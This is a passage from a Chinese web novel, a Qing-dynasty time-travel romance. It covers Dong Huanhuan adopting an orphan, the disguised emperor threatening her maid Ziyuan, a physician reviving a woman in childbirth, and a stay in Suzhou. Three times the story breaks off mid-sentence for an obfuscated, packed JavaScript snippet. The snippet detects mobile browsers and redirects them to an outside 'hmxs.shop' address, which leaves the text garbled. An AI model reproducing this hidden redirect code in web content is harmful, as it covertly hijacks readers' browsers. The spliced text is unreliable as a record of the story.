那个叫小柒的小姑娘听到紫鸢的话,眼泪扑簌簌的落个不停,小手从新抓住董浣浣的手:“姐姐,姐姐,只要您肯收留我,我保证以后都会乖乖的,洗衣做饭这些事情我都会做的,求求你了,求求你了,收留我吧。” 董浣浣被她的眼泪打动,心想反正他们家里有钱,多养一口人,多一张嘴吃饭也没什么关系,点头答应那个女孩:“好的,姐姐收留你!” 董浣浣没有想到,她这边刚答应完这个小姑娘,那边紫鸢直接冲着她吼道:“有她没我,有我没她,小姐,我给你三天的时间想清楚,我先回客栈了。” 董浣浣一直不明白,她到底是触动了紫鸢的哪条敏感神经了,惹得她这样大发雷霆。 待紫鸢走远后,董浣浣拉着小柒,有些不好意思的看向安齐修:“不好意思,她第一次这样,让你们看笑话了。” 安齐修面无表情的看着紫鸢离开的背影,冷声说道:“你们家一直都是这样的主仆不分吗,到底你是主子,还是她是主子?” 董浣浣再次敛上一抹尴尬的笑容:“她平常不这样的,今天可能是心情不好才会这样。” 安齐修盯着董浣浣,眼神锐利:“心情不好,就可以对着主子大呼小叫了。怎么能让奴才爬到你的头上,你不会管奴才的话,我来帮你管。” 说完抬脚先行,董浣浣像是个做错的小学生一样,牵着小柒亦步亦趋的跟上他。 除了卫苑去处理那几个被打倒的骗子,其他几人均默不作声的跟在她俩的后面。 回到客栈,董浣浣吩咐小二帮她准备了一桶水,她要给小柒洗洗澡。 待小二给她准备好水之后,董浣浣又让小二帮忙准备一些饭食,等小柒洗完澡之后出来就可以吃。 看着眼前的浴桶,董浣浣让小柒走进去,准备帮她洗澡。 小柒连连摆手,说要自己洗。 无奈拗不过她,董浣浣怕她出什么意外,只好坐在旁边看着她。 等到小柒脱完衣服,走进浴桶里的时候,董浣浣看见她浑身上下的伤痕,眼泪忍不住的流了出来。 这是个才五岁的孩子啊,那些人贩子怎么可以这么狠。 看到董浣浣流眼泪,小柒慌忙的想要从浴桶里走出来安慰她。 董浣浣忙擦干眼泪,让她不要出来好好洗。 等到小柒洗过澡,吃完饭。董浣浣又帮她涂了药,直到她睡着,董浣浣这才有时间,去敲紫鸢的门准备安慰一下她。 可是无论她怎么敲,紫鸢也愣是不开门。 董浣浣无奈,看样子紫鸢是真的生她气了。 正当她垂头丧气想要离开的时候,就看到单良走了过来,恭敬的和她打招呼。 董浣浣问他来这里做什么,单良回道:“主子要见紫鸢小姐,让我来请她。” 董浣浣疑惑:“安齐修见紫鸢做什么。” 单良表情有些为难,董浣浣立即领会:“好的,我知道了,我自己去问安齐修。” 单良点头道谢,然后去敲了紫鸢的门。 15. 国事,家事 客栈一楼雅间内。 客栈一楼雅间内。 安齐修手里拿着一杯茶,动作不紧不慢的在品茶。 单良站在他的身后,脸上没有什么表情。 紫鸢低着头坐在他们的对面,心里很是慌乱。 整个房间内静悄悄的,似乎连轻微的呼吸声都可以听到。 安齐修把茶杯放在了一边,抬头看向紫鸢,眼神寒冷如冰,冻得人直打寒颤,声音仿佛也结了一层寒霜:“能不能和我说一下,为什么要那样对待自己的主子?” 紫鸢被他的眼神吓到了,但是还是硬着头皮回他:“这是我们董家的家事,我为什么要向一个外人报备?” 安齐修敛起眼角,声音中没有一丝温度:“外人?我好像是在管自己家的事情。” 紫鸢顶嘴道:“我知道你喜欢我们家小姐,但是你还没有通过我们家老爷那一关,我们家小姐最后能不能嫁给你还不一定呢。” 安齐修无视她话中的挑衅,接着补充他之前的问题:“是什么让你一个小小的婢女就敢如此不把自己家的小姐放在眼里,是她太宠着你了,还是她太把你当回事了,你才敢如此放肆,开始欺负到她头上去了?” 紫鸢冷哼:“我还是那句话,这是我们董家的家事,一个外人管不着!” 安齐修抬手轻轻的把桌上的那杯茶沿着桌子推掉到地上,只听到“啪”的一声,水和瓷片四溅:“要不是担心她难过,明年的今天就是你的忌日。” 单良赶忙下跪,将一块手帕置于头顶:“皇上息怒!” 紫鸢闻言,脑子整个吓蒙了,腿条件反射般的在椅子上滑落,砰砰砰的连连磕头,嘴里轻呼:“皇上饶命。” 现在她终于知道为什么,安齐修说他是在管他的家事了。整个大清朝都是他的家事,更何况一个小小的董鄂家呢,何况她还只是董鄂家一个小小的婢女呢。 安齐修拿起单良置于头顶的手帕,轻擦了下手掌,看了一眼跪在地上的紫鸢,语气极冷道:“现在可以告诉我为什么对你家主子不敬了吗?” 紫鸢头低着头哭着解释道:“奴婢不敢对我家小姐不敬。我家小姐心地太善良了,我只是害怕她被那个不知道从哪里来的小姑娘骗了,回家不好交代。” 安齐修冷笑:“不好交代?” 紫鸢颤抖着点头应道:“是的。” 安齐修:“我对你的私心一点兴趣都没有。只是要提醒你要认清自己的身份,奴才就是奴才,永远做不了主人,不要妄想着一步登天。在我朝以下犯上是多大罪你很清楚,之所以留着你,是因为不想让她伤心,如果还有下次,即使是让她伤心,我也绝不留你,听懂了吗?” 紫鸢连忙应承下来:“奴婢明白,多谢皇上不杀之恩。奴婢一定会牢记于心,绝不再犯。” 安齐修:“为了她,我姑且相信你这一次,如有再犯格杀勿论,听明白了吗?” 紫鸢拼命点头:“奴婢记住了。” 听完她的保证,安齐修把手中的手帕,随手丢在了桌子的一角,起身走到紫鸢的面前。 紫鸢低着头,余光看见那一双银白色锦靴一点点的向她靠近,最后在她的正前方站定。 随后她头上传来安齐修那冰冷的嗓音:“今天你和朕之间的谈话内容以及朕的身份,一定不能告诉她。如果让朕知晓,她所知道的真相,哪怕有一个字是从你这里泄露出去的,也不要等着朕让人动手了,你就自行了断吧。” 紫鸢连忙磕头表示记住了。 安齐修听完,唤了一声:“单良。” 跪在一旁的单良一听,马上意会,赶紧起身走到门前,帮安齐修把门打开,然后退到一边。 听见他们要走,紫鸢鼓足勇气:“如果小姐问我,我们刚才都谈了些什么,我该怎么说?” 闻言,安齐修的脚步顿了一下,头也没回的说道:“这个还用我教你吗?” 说完走出房门。 等到安齐修出门后,单良亦步亦趋的跟在他的后面出门,转身又把门从外面关上。 等到他们已经走了好一会了,紫鸢才敢起身,腿还在颤抖着,不自然的趔趄了一下差点摔倒,还好双手及时的扶住了椅子。 好不容易回到自己房里,紫鸢感觉自己仿佛从鬼门关上走了一遭。 在房间里等着她回来的董浣浣,看到她这个样子赶忙迎上去扶住她。 董浣浣焦急的问:“紫鸢你怎么了,怎么脸色这么苍白,安齐修都给你说了些什么了?对你干了些什么啊?” “小姐,没什么,你让我休息一下就好了。”,紫鸢有气无力的说。 看到紫鸢这个样子,董浣浣有些愧疚:要不是因为她,紫鸢此刻还在董鄂府里过着安稳的生活,哪里需要每天都这样提心吊胆的。现在还被一个不是主人的家伙叫过去教训,而她作为紫鸢的顶头上司居然都没有能力在外人面前保护自己的家人。 董浣浣这次下定了决心和紫鸢说道:“紫鸢,我去收拾收拾行李,等你舒服点了,明天我们就和他们分道扬镳,去他的遵守约定,我要带我们家紫鸢回家。” 说完董浣浣就准备起身去收拾行了,躺在床上的紫鸢听到这话赶忙拉住董浣浣让她不要去,要说前几天她家小姐要收拾行李和安齐修他们分道扬镳,她就是病死也会起身帮忙一起收拾的,但是现在她已经知道了安齐修他们的身份,此时再让他们家小姐和安齐修分道扬镳,她恐怕活不到明天太阳升起了。 紫鸢举起手做发誓状:“小姐,我保证我真的没事,安公子真的没有为难我。” 听到这话,董浣浣感觉更不对了,平时紫鸢可是绝对不会这样替安齐修说话的,他肯定是对紫鸢做了什么不可告人的事情了。不然刚刚他们去谈话,怎么不让她去旁听,把她关在房间里,还让刘全和安齐平看着她。 如果不是经过这么多天的相处,多多少少对他们的人品有一些了解,她肯定会大喊着非礼把紫鸢从那间雅间里救出来的。 把紫鸢重新扶到床上躺好,嘱咐她好好睡,董浣浣转身就要找安齐修算账去:“紫鸢你等着我,我的家人,哪轮得到别人来替我教训,还把我关起来不让我旁听,简直是岂有此理,你等着我,我帮你说理去。” 听到她这话,紫鸢赶忙拦住她:“小姐,我发誓真的不是安少爷的原因,是我早上吃了不干净的东西,现在肚子有些不舒服,我睡一会就好了。” 董浣浣将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815840|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信将疑:“真的是肚子不舒服,不是安齐修他们对你做了什么?” 紫鸢拼命点头:“嗯,嗯,嗯,真的小姐,我只是肚子不舒服,和其他人无关。安少爷只是问了我一些咱们家的真实情况。” 董浣浣闻言惊了:“啊,咱们家的真实情况,他都问了些什么,你都告诉了他什么啦?” 紫鸢安抚董浣浣:“他也没问什么,就是问一下你是不是有个亲弟弟,为什么我要那样和你发脾气,还有我们家的基本情况而已。” 董浣浣激动的询问:“他想问这些,干嘛问你呀,问我不是更好吗?”,顿了一下又说:“你都告诉他们啦?” 紫鸢:“我就真假参半的说了一下,说了一下小少爷的情况,和咱们家的基本信息,但是我说咱们姓董,没说咱们是董鄂氏。” 董浣浣拍了拍胸脯:“那就好,那就好,紫鸢你真的是太聪明了。” 听到这话紫鸢一阵心虚,心想:小姐,实在是对不起,为了保命,我只能骗你了。 紫鸢:“小姐我想了想,我们还是和安少爷他们一起回京吧。这一路上出现的意外太多了,我们两个姑娘家肯定是应付不来的。我之前一直对安少爷有偏见,通过这一次谈话,我发现是我误会他了,他并不是我想象的那种冷血霸道的人。为了咱们的安全考虑,还是和他们一起回京比较好。” 听到紫鸢这样说,董浣浣这才放下心来,点头同意了她的建议。确实他们这一路遇到的意外太多了,如果没有安齐修,她哪里能到现在还安然无恙。 董浣浣帮紫鸢到了一杯热水:“你先喝点热水休息一下,我过一会去药房给你抓些药来,生病了总归还是吃点药比较保险。” 紫鸢看着对她嘘寒问暖的董浣浣,眼眶温热,有些愧疚:“小姐,我错了,当时我不该对您那样大吼大叫的。老爷要是知道了,一定会打断我的腿的。” 董浣浣安慰紫鸢:“没关系,这件事在董鄂家只有我们两个知道,你放心吧,我绝对不会告诉我爹的。” 紫鸢心想,小姐这事已经不是董鄂府的家事了,不是你不告诉老爷就没事的事情了,以后如果有人追究起来,恐怕连老爷也保不住我了。 董浣浣又安抚了紫鸢一会,直到她闭上眼睛睡着了,才推开门出去。 紫鸢听到关门声,这才重新睁开眼睛。 此时她的心情五味杂陈,小姐啊,小姐我到底该怎么对你才好。 你一直把我当做家人对待,可是却把之前夫人许给我的地位,今天开玩笑似的又许给了别人。 明明夫人在世的时候是当着你的面把我许给了少爷的,如今你仿佛不记得般,开玩笑似的说要把那个孤女许给少爷。 夫人过世了,现在全府上下知道这件事的人只有我和你了,如今你这样做,让我以后该如何自处。 没有人知道,那个女孩,一口一个姐姐喊你的时候,我的心里有多难过。 所有人都在关心你的心情,替你出头来说我的不是,却没有一个人去关心我为什么发脾气,小姐我是应该恨你吗? 一滴泪从她眼里滑落。 紫鸢把被子拉过头顶,在被子里嘤嘤的哭出声来。 16. 神医喻嘉言 八大和小柒的风波过去之后,他们一行人在南昌吃吃玩玩,又逗留了十天,才重新启程出发去下一站。 因为小柒和卫苑的加入,他们原来的马车明显已经不够坐了,为此在出发的前一天,安齐修吩咐单良又去购置了一辆马车。 两辆马车,位置是按照安齐修的意思重新分配的。董浣浣和安齐修,安齐平坐在前面的马车上,由卫苑驾驶。小柒,紫鸢,单良坐在后面一辆马车上,由刘全驾驶。 一群人边玩边走,慢慢悠悠,晃晃荡荡历经三个多月终于到了苏州境内。 清朝的苏州城虽然没有现代苏州城的灯红酒绿,门庭若市的,但也是车水马龙人声鼎沸的,一样的热闹繁华。 经过了三个多月的相处,小柒已经完全褪去了初见时那如惊弓之鸟般小心翼翼的模样,变成了个活泼开朗的小姑娘,紫鸢也变得不像最初那样的排斥她,对此董浣浣很是欣慰。 在这舒心又惬意的日子里,美中不足的是,董浣浣偶尔会看到紫鸢躲在角落里发呆,发现董浣浣在看她又会摆出一副欲言又止的模样,问她她又什么都不说。让董浣浣好生奇怪,可是又害怕一直追问下紫鸢会生气,只能等到她想说的时候再说了。 车子刚到苏州境内,安齐修征求了一下董浣浣的意见之后吩咐卫苑,先找个客栈他们把东西放下,洗漱休息一下再出门去玩。 马车一个拐弯后,刚走到苏州城中的商业街主干道,就听见有霹雳吧啦的喇叭声传来。 接着便是一群人哭哭啼啼抬着一副棺木从对面走来。 两侧皆是围观的群众。 卫苑看到此景勒住马的缰绳赶紧把路让开,董浣浣撩开窗帘往外面看。 安齐修本来还在看书,余光看到董浣浣的动作把书从眼前放下问她:“怎么,又想去看热闹?” 听到安齐修的问话,董浣浣摇摇头,顺便把窗帘合上,回答他:“不想。” 这些天下来董浣浣还是很有自知之明的,他们这一路下来遇到的大大小小的事件都是她的好奇心惹出来的麻烦。 好奇害死猫,古人诚不欺我。 看到她一脸沮丧的样子,安齐修勾起唇角,把书放到座位一边说道:“赶了这么久的路,我的腿脚都已经麻木了,你陪我下去走走吧。” 董浣浣将信将疑道:“真的吗,不是为了迁就我?” 安齐修宠溺的摸了摸她的头,语气轻柔:“真的,不是为了迁就你。还要麻烦董小姐,迁就迁就我,扶我下去。” 董浣浣大喜,赶忙上前扶住安齐修的手臂,扶着他走下马车。 心想,这次可不是她主动要去凑热闹的了,出了什么事情,大家可就怨不到她身上了吧。 本来坐在一旁睡觉的安齐平听到他们两个的动静也跟着下了车。 站在车前看着董浣浣扶着安齐修的背影,安齐平内心忍不住吐槽:真是好骗,要不是为了你,九哥的腿可能下辈子都不会麻。 后面马车上的单良他们看到董浣浣他们都下车了,也都纷纷下车出来看热闹。 董浣浣拉着安齐修走到围观的人群中央,站定之后才松开了扶住安齐修的手。 董浣浣凑近一个围观的大娘低声打听道:“大娘,这是哪家在办事啊?” 大娘转头看了董浣浣几眼,确认眼前人是没有见过的才道:“姑娘是外地来的吧?” 董浣浣点头称是。 大娘看到她点头之后才接着说:“这是城西李木匠家在办丧事。这孩子自幼丧父,母亲一走了之,是靠吃百家饭长大的,好不容易娶了妻,两夫妻每天起早贪黑的干活,眼看着生活越来越好了,没成想夫人昨天晚上生产,一直折腾到凌晨都没能生出来,最后一尸两命,又只剩下他一个人了,可怜呦。” 大娘说完还不忘抹掉眼角的两滴泪。 董浣浣没有生过孩子,但是从各大影视剧里也已经领略过生孩子的不易,特别是在古代没有现代医学那么发达的医疗技术,生孩子真的就像是在鬼门关上走了一遭。而这可怜的女人,没能从鬼门关回来。 董浣浣在心里默默的为她感到惋惜。 “把棺材放下。” 正当董浣浣陷入悲伤的情绪中无法自拔的时候,耳边传来一道浑厚的男声。 她好奇的抬头看向声音的来源,站在棺材前面的是个约摸五六十岁的老者,着粗布麻衣,一派仙风道骨的模样。 穿着一身丧服的李木匠看了一眼那人,迎上前去,语气中尽是悲伤:“喻大夫,我知道您医术了得,不过您是大夫不是神仙,没有起死回生的能力。我家娘子和孩子现在已经过世了,还望您行个方便,不要挡住我们的去路,好让我我家娘子和孩子早点入土为安。” 闻言,那名被称为喻大夫的老者看了一眼李木匠,声音中带着疑惑:“谁告诉你,你家娘子过世了,棺材里的人明明还活着。” 李木匠一听,激动的握住喻大夫的手,眼神恳切,声音颤抖的问:“喻大夫,你是说我家娘子没死,你可以救她?” 喻大夫没说话只是点了点头。 李木匠一看赶忙转身招手给抬棺材的人:“快,快,快,放下,让喻大夫看看,我家娘子还没有死,她还有救。” 抬棺材的人一听,赶忙把棺材放下来,七手八脚的打开棺材,把里面的妇人抬出棺材,放在路边铺好的衣物上。 顿时一股血腥味扑面而来,围观的众人连连捂住鼻子。 喻大夫看了一下周围围过来的看热闹的人群,让李木匠招呼大家都散开,给孕妇足够的空气。 之后选了十几个女性,站起来围城一圈,并让李木匠把产婆请来,再就近端来一盆温水。 董浣浣就是帮忙围城一圈的十几个女性的其中之一。 这是董浣浣第一次亲眼见到别人生孩子,而且还是个一开始被定义为“死人”的人生孩子。 一切就绪,只见那名为喻大夫的人,打开他的针灸箱,在“已死”的产妇的不同穴位各插了几根针。 不须时,那名“已死”的产妇,竟然悠悠的转醒,活过来了。 之后在产婆的帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815841|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助下,产妇居然当街生了一个大胖小子。 丧事变喜事。 李木匠喜极而泣,当场宣布今天来围观的人都到他们家喝喜酒去。 此刻那名神医却神色淡然的在水里清洗了一下手掌,然后擦干,把他的未用的针收回针灸盒子里。 最后在李木匠的再三挽留下不改初衷的,背起了他的医药箱离开了。 站在一边围观全程的董浣浣只想说,中医真是博大精深的一门学问啊。 是她孤陋寡闻了,原来中国古代的神医不是只有扁鹊和华佗啊,中国的清代也有一位这样的神医。 董浣浣轻轻拉了一把身边的一位妇人的衣角询问道:“大嫂,你认识刚才的那位大夫吗?” 那位妇人像刚才那位大娘一样打量了一下董浣浣,然后说:“姑娘是外地来的吧?” 董浣浣点头。 妇人像是猜测得到了证实般的点头说:“我猜也是,这十里八村的,哪还有人不认识喻大夫的。” 董浣浣重复了一句:“喻大夫,”然后接着问:“他叫喻什么?” 妇人解答:“喻嘉言大夫,是我们苏州城内有名的神医,为人仁慈菩萨心肠,医术高超,包治百病。刚才你也亲眼看到了,能够让死人起死回生咧!” 说完妇人乐呵呵的走了,走了两步还不忘回头提醒董浣浣:“刚才帮了那么大的忙,李木匠请吃饭还不抓紧去,就他那点家底,这么多的人,去晚了可就什么都没有啦!” 待那妇人走后,紫鸢,小柒他们才围上前来。 紫鸢问董浣浣:“所以,小姐我们要去吗?” 董浣浣一时间没反应过来,嘴里只冒出了一个:“啊?” 紫鸢补充:“去李木匠家里吃饭呀?” 董浣浣回过神来回答紫鸢:“不去了,人家本来生活就不富裕我们就不去给人家增加负担了吧。” 站在一旁的安齐修听完她们的话之后开口道:“既然不去了,那就上车,我们去找客栈。” 董浣浣心虚的想:她今天这个不算是闯祸吧,只是被人家拽过去帮忙而已。 她悄咪咪的看了一眼安齐修的表情,发现他并没有生气,才算放心下来。 安齐修迈开步子和安齐平一起走在了前面,董浣浣注意到小柒有话想要和她悄悄说故意走慢落在了最后面。 小柒挥了挥手示意董浣浣把耳朵凑近她。 小柒:“姐姐,我刚才看到安齐修哥哥和安齐平哥哥分别给了那个叫李木匠的人一些钱。” 董浣浣看了一眼马车,已经坐上去的那两人原来竟然默默无闻的做了回雷锋。 走在最前面,在马车上坐下来的安齐平和安齐修说:“九哥,你再这样一味的纵容她的好奇心,以后她在宫中的日子恐怕会举步维艰。” 安齐修笑了一下,看向安齐平意味深长的说:“有我在,她一切都不必担心,做她自己就好。” 董浣浣在紫鸢的搀扶下坐上马车之后,就看到已经落座的两人,手里各捧着一本书,在安心的阅读中。 17. 寒山寺 次日。 次日。 苏州城的天气风和日丽的,蝉儿在树上断断续续的叫着。 吴家武馆内。 董浣浣在她的房间里在努力练习拨算珠,小柒则坐在她旁边练习毛笔字,细密的汗珠从两人的额间渗出。 至于为什么会在吴家? 起因还是要从昨天说起。 前一天他们原本是打算找个客栈住下的,没想到刚到客栈还没来得及办理入住,卫苑就遇到了相熟的人。此人名唤吴宇忠,是个开武馆的,在当地非常有名。 在吴宇忠一再的热情邀约下,卫苑和安齐修商量了一下,一行人就住到了他的府上。 眼看着回京的路程他们已经走了大半,董浣浣这才如梦初醒般的想起来,她在清朝的人生目标,是要做大清第一女商人的。 这才赶忙把算盘拨起来,把账本看起来。 没过多久董浣浣就受不了,嘴里直嚷嚷: “太热了,紫鸢,我想吹空调!” 紫鸢不在,小柒放下笔,小脑袋转向董浣浣,一脸疑问道:“姐姐,空调是什么东西?” 董浣浣想了想开始糊弄小孩子:“空调啊,就是个长长的可以吹出冷气的怪物。” 说完“哇”的一声凑到小柒的面前扮了个鬼脸,把小柒吓了一跳,惯性的后退了一步,差点摔倒。还好董浣浣眼疾手快的拉了她一把。 小柒嗔怒道:“姐姐,你干嘛吓人!” 董浣浣拍了拍她的肩膀边笑边安抚她。 不一会紫鸢从外面回来了,端了一盆冰块放在董浣浣的面前,董浣浣这才感觉到有些凉意,从新坐下来开始拨她的算盘。 不过她很快又想到了一个问题,指着面前的冰块向坐在一边刺绣的紫鸢询问:“这冰块是从哪里来的?” 紫鸢闻言停下手中的绣花针,抬头看向董浣浣:“刚刚路过正厅,吴馆主遣人给的,说是先是给了安公子,他那边不需要,让给送到我们这边来。” 董浣浣听完,若有所思。 据董浣浣所知,冰块在古代可是稀有物品一般只有皇亲贵胄等有钱人家夏天才能享受到这如此珍贵的物品,现在居然一个小小的武馆也能拥有冰块,并且随随便便就能送给人这么一盆。 还有就是那个卫苑,明明只是个伙计,却身手了得,有吴宇忠这样的朋友。董浣浣觉得,她需要找个时间暗示一下安齐修,提防一下卫苑,以他的身手想要绑架安齐修实在是太容易了。 隔壁房间。 安齐修面前放着一壶刚煮好的热茶,茶香袅袅,单良站在一边拿着一柄蒲扇在给他扇风。 “咚,咚,咚!” 三声有规律的敲门声响起。 安齐修把目光从书中挪开,抬起头,对着门外唤道:“进来。” 安齐平推门进来,转身从里面又把门给关上,然后走到安齐修的身旁。 看到来人是安齐平,安齐修看了看旁边的椅子轻颔首说:“坐。” 得到许可,安齐平坐下。 安齐修轻轻抬起手,四指弯曲食指竖起往前勾了勾手指示意单良给安齐平倒水。 看到主子的召唤,单良把蒲扇放在了一边,赶忙走向前给安齐平倒水。 等单良倒完水退到一边,安齐平喝了口水,才道:“皇兄,风声漏了,叔父已经知道了我们的计划了。” 听到了安齐平的话,安齐修眼睛都没有眨一下,端起眼前的茶喝了一口。 茶倒的时间有些长了,微微的泛出一丝苦味,喝完之后嘴里又有一丝回甘。 安齐修把茶杯放下,眼睛又重新回到书上,语气平淡的道:“我和他心里都清楚,我们早晚都会有不是他死就是我亡的那一天,只是这个日子如今定了下来,没什么可大惊小怪的。” 安齐平点头称是。 安齐修的眼神停留在书上,语气平淡的接着说:“查到是从谁那里泄露出去的了吗?” 安齐平答道:“已经查到了,是那几个商人醉酒时,无意中泄露出去的。” 安齐修冷哼:“这几个人果然是管不住自己的嘴的一群废物。” 安齐平:“所以,九哥是想怎样处置他们?是要?”,安齐平对着脖子比了个手势。 安齐修摆手:“不用,我留着他们还有用。” 安齐平点头:“臣弟明白。”,安齐平端起杯子喝了口茶,又想到了一件事情:“既然现在叔父已经知道了我们的计划,那么浣儿姐和我们待在一起岂不是很危险,不知皇兄有何打算。” 听到他这话,安齐修的目光离开书本,转头看向安齐平,眼底清寒一片语气里没有一丝温度:“我有没有说过,你对于浣儿的关注有些太多了?” 安齐平听到这话,赶忙回道:“皇兄明鉴,臣弟对她只是姐弟情分,不敢有非分之想。” 安齐修听完他的回答,把手中的书放在了一边,语音冷淡道:“她是我的,希望你明白。” 安齐平:“臣弟明白,以后定当谨记。只是、、、、、、” 安齐修目光看向安齐平语带询问:“只是什么?” 安齐平:“只是臣弟不明,为什么是她呢?” 安齐修听完脸上浮上一丝笑意,声音回暖了许多:“为什么不可以是她呢?” 他自幼长在宫中,每天和形形色色的女人打交道,王公大臣的女儿也见过不少,却从不曾出现过一个女孩能够像浣浣那样让他一眼便记在心里的。 一件钟情,这个词语,对于一个帝王来说太奢侈了,他以为终其一生都不可能遇见这么美好的词语。 可是那天远远的看见她在树上和紫鸢对话的模样,他好像突然就理解了。 现在他对相濡以沫和白头偕老这两个词也充满期待起来。 安齐修说完放下手中的书,转头吩咐旁边的单良,“待会和卫苑说,目前为止最重要的是浣儿的安全,从明天开始多加派点人手暗中保护她,绝对不能让她出半点差池。” 单良:“奴才明白,待卫苑回来就会告诉他。” 安齐修点头。 安齐平又和安齐修商量了一下回京途 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815842|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中暗中保护的人员变动情况,得到首肯之后才起身离开。 待安齐平走了之后,安齐修重新拿起书看了起来,单良拿着蒲扇继续扇风。 午饭时间,吴宇忠充分的尽到了地主之谊,摆了满满的两大桌子菜。一群人推杯换盏的好生热闹。 午饭过后。 安齐修房间。 单良:“主子,您是要接着看书,还是准备午睡,这边帮您预备。” 安齐修:“天气闷热,我们去院子里走走吧。” 单良闻言,上前伸出胳膊搀着安齐修。 董浣浣在床上滚来滚去好几圈,无奈天气太热了,就是睡不着,索性起身不睡了。 本来想喊紫鸢和小柒一起出去逛逛的,结果看到她们两个躺在另一张床上都睡着了。 董浣浣害怕吵醒她们的美梦,就蹑手蹑脚的走到门边,打开门,走出去,从外边轻轻的又把门关上。 吴家的院子真大,董浣浣边走边感叹。 走到一片柳树下,远远的看见对面站着的安齐修和单良,董浣浣走上前去和他们打招呼。 安齐修看到一向喜欢的午睡的她此时却在院子里闲逛,心中便有猜想:“天气太热睡不着吗?” 董浣浣点头。 安齐修:“怎么紫鸢和小柒没有给你扇风吗?” 董浣浣心想,能问出这样的话,可见是少爷当惯了的,可是她这小姐还没有当习惯,不太适应使唤别人给自己做这做那的。特别是自己睡觉的时候让别人在旁边给她扇风,这让她总有一种剥削劳动人民的感觉。 “我不习惯扇着风睡觉,会头疼。” 安齐修听她这样说,就知道她是在袒护那两个丫头了,便不在追根究底,换了一个话题:“最近天气太热,中午时分更甚,让人难以入眠。不如,我们出去逛逛,你有什么特别想去的地方吗,还是我们去集市上逛逛?” 听到了安齐修的提议,董浣浣认真的想了想。 苏州,二十一世纪的历史文化名城,是吴文化的发祥地,有着“人间天堂”的美誉。它的著名景点真是多了去了,苏州园林、周庄等可都是全中国人民都能耳熟能详的景点。只是身在大清朝的她,如果带着安齐修他们去这些地方打卡,一定是会被笑话的吧。也不能总是往市集上扎,很是影响她的“大家闺秀”的形象。 突然,董浣浣灵机一动,想到了一个去处:“姑苏城外寒山寺,夜半钟声到客船。不如我们去寒山寺逛逛吧?” 安齐修听到她这话,像是想到了什么一样却终究是没有说出口,转而笑笑的和她说:“好,我们就去寒山寺。” 董浣浣看他答应了,开心的接着提议:“今天天太晚了,估计去了就天黑了,我们明天寅时出发,这样既可以看到日出,到了寒山寺还可以赶得上上香,一举两得。” 安齐修听她说完又笑了笑,语气轻柔而和缓的道:“好的,都听你安排。” 听到安齐修这么说,董浣浣有点受宠若惊,心里似乎有一丝甜甜的东西,在默默的往外冒。 18. 出发 第二天,寅时一刻。 第二天,寅时一刻。 天还是黑乎乎的,董浣浣就被紫鸢和小柒从床上拽起来。 两人一边一个把董浣浣架到洗脸架旁边的椅子上,小柒负责扶着她让她别摔下去,紫鸢负责给她洗脸。 给她洗完脸,擦干,然后把她推到梳妆台前,进行梳妆打扮。 董浣浣闭着眼直嚷嚷:“紫鸢,好紫鸢,求你了,就让我再睡一会好吗。昨天晚上一想到今天要出去玩,就兴奋的睡不着。我这才刚睡着没多会,太困了。” 听到她这样的抱怨,紫鸢哪里肯:“小姐,你不是和安公子昨天约好的今天寅时去寒山寺的吗,这都已经是寅时一刻了,再不快点,我们就要迟到了。” 董浣浣有些懊恼的直扑棱腿,嘴里嘟囔:“啊,啊,啊,我为什么这么和自己过不去啊,选什么寅时去寒山寺看日出啊。在床上躺着多舒服呀,我干嘛这么给自己过不去!” 紫鸢弯腰轻拍了一下董浣浣乱晃的腿,然后扶住董浣浣的头道:“小姐,你别乱晃了,再晃妆都给你画花了,还得重新画。” 妆花了还要重新画,还要重新洗脸再折腾一遍,这不是要人命吗。 董浣浣听此威胁赶忙正襟危坐,不敢乱动了。 看到董浣浣这样如小孩子般耍赖的模样,小柒在一边憋笑失败,笑出声道:“姐姐,你这个样子真像是个小孩子。” 董浣浣故意曲解她的意思,语气故作惊讶,夸张的说道:“我这么打扮这么显小吗,看起来像你妹妹吗?” 听到董浣浣这样说,小柒在旁边笑得更甚了,两个眼睛都弯成了一条缝。 紫鸢瞪她,语气不善:“和你说过多少次了,要叫小姐,叫什么姐姐。” 小柒赶忙收起笑容,恭敬的站好,小声认错:“知道了。” 董浣浣睁开眼睛在旁边搭茬:“还是叫姐姐好,小姐,小姐,总是让我想起了某些不正经的职业。” 听她这么说,紫鸢停下手中的工作,轻怒道:“小姐!” 董浣浣不在意道:“她还小,以后再学也不迟。” 紫鸢再次抗议:“小姐!” 董浣浣回头看向紫鸢:“你比我大,之前让你叫我姐姐你又不愿意叫,这好不容易有个愿意喊姐姐的,你又不让她喊,紫鸢你到底在别扭什么?” 紫鸢反驳:“我哪里有闹别扭,谁说我不愿意叫的,只是这不是还没到时候嘛。” 